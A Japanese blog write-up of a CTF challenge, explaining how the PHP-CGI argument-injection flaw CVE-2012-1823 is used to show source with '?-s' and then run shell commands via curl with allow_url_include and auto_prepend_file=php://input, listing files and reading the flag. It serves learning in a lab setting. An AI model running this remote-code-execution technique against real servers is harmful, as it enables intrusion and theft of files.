おさらいnote~第12回#12 Hypertext Preprocessor~
どうも、宮下です。
今回は12問目、Hypertext Preprocessorを解いていこうと思います。
よろしくお願いします!!
問題把握
配点:70
問題内容:
2012:1823:20:21:10:04:07:57:53:53:46:05:42
問題はこちらから
前準備
まず、問題名Hypertext Preprocessorをググってみます。
Hypertext PreprocessorとはPHPというプログラミング言語のことで、簡単に言うとWebサイトの中で、動的なものを作るための言語です。
PHPのコードを使う…か脆弱性と予想します。
次に問題文(?)であるページを開いてみましょう。
問題文をググってみるとPHPに関する脆弱性のサイトが出てきました。(この問題は全体的にこのページを参考にして解いていきます)
CGIとはWebサーバが、Webブラウザなどからの要求に応じてプログラムを実行する仕組みの環境でPHPを動作させているサイトにはリモートからスクリプト実行ができてしまう脆弱性があるようです。この脆弱性はCVE-2012-1823と識別されています。
2012-1823は問題文の最初の二つに一致していますね!
さらに後の21:10:04:07:57:53は現在日時と時刻を表していることがわかりました。
早速といてみる
ソースコードの中身は特に何もなかったので、先ほどの脆弱性を使って攻撃してみましょう。
『-s』はhtmlカラー構文ハイライト(シンタックスハイライト)表示されたソースを表示します。
シンタックスハイライトとは、テキストエディタなどの文字表示に関する機能の一つで、あらかじめ指定された文中の特定の記号やキーワードなどを他とは異なる色で表示すること。色を変える以外にも、異なるフォントを用いたり、太字や斜体、下線などの装飾を施す場合もある。
引用ーhttps://e-words.jp
https://ctfq.u1tramarine.blue/q12/?-s
今上のコードは下のコードと同じ意味となっています。
q12 -s
クエリ文字列(URL以降のもの、今回は?-s)に等号を含めないと、クエリ文字列はCGIスクリプトのコマンドライン引数として指定される仕様になっていルためです。
結果、phpコードの中に// Flag is in this directory.と書いてありました!
このファイルと同じディレクトリにあるようです。
ディレクトリをコマンドプロンプトから確認してみましょう。
curlコマンドを使用します。curlコマンドは、URLを利用してデータを転送することができます。
$ curl [url] -X POST -d "data" -i
そしてさらにURLに以下のオプションも組み合わせることで外部から指定したスクリプトを実行することができるそうです!
allow_url_include=On //includeするファイルをURL指定でリモートから読み出すことを許可
auto_prepend_file=php://input. //PHP実行に先立ち、スクリプトをincludeしておくものだが、ファイル名としてphp://inputを指定しているため、POSTパラメータとして送信した内容をPHPスクリプトとして実行
$ curl http://ctfq.u1tramarine.blue/q12/?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input -X POST -d "<?php system('ls -al'); ?>" -i
-dはphp.iniで指定できる設定ディレクティブにカスタム値を設定することができます。
また、オプション後のcurlのオプションは以下の通りです。
・-X -> 使用するコマンドの指定
・-d -> データの指定
・-i -> 出力にレスポンスヘッダも含める
以下のファイルがあることがわかりました。
dr-x--x--x 2 q12 q12 4096 Jul 29 02:40 .
drwx--x--x 3 root root 4096 Jul 29 02:40 ..
-r--r--r-- 1 q12 q12 90 Jul 29 02:40 .htaccess
-r-------- 1 q12 q12 22 Jul 29 02:40 flag_flag_flag.txt
-r-xr-xr-x 1 q12 q12 600 Jul 29 02:40 index.php
-r-xr-xr-x 1 q12 q12 19093315 Jul 29 02:40 php.cgi
flag_flag_flag.txtといういかにもflagがありそうなテキストファイルがあったので再度curlで確認してみましょう。
$ curl http://ctfq.u1tramarine.blue/q12/?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input -X POST -d "<?php system('cat flag_flag_flag.txt'); ?>" -i
以上でflagゲットです!お疲れ様でした!
この記事が気に入ったらサポートをしてみませんか?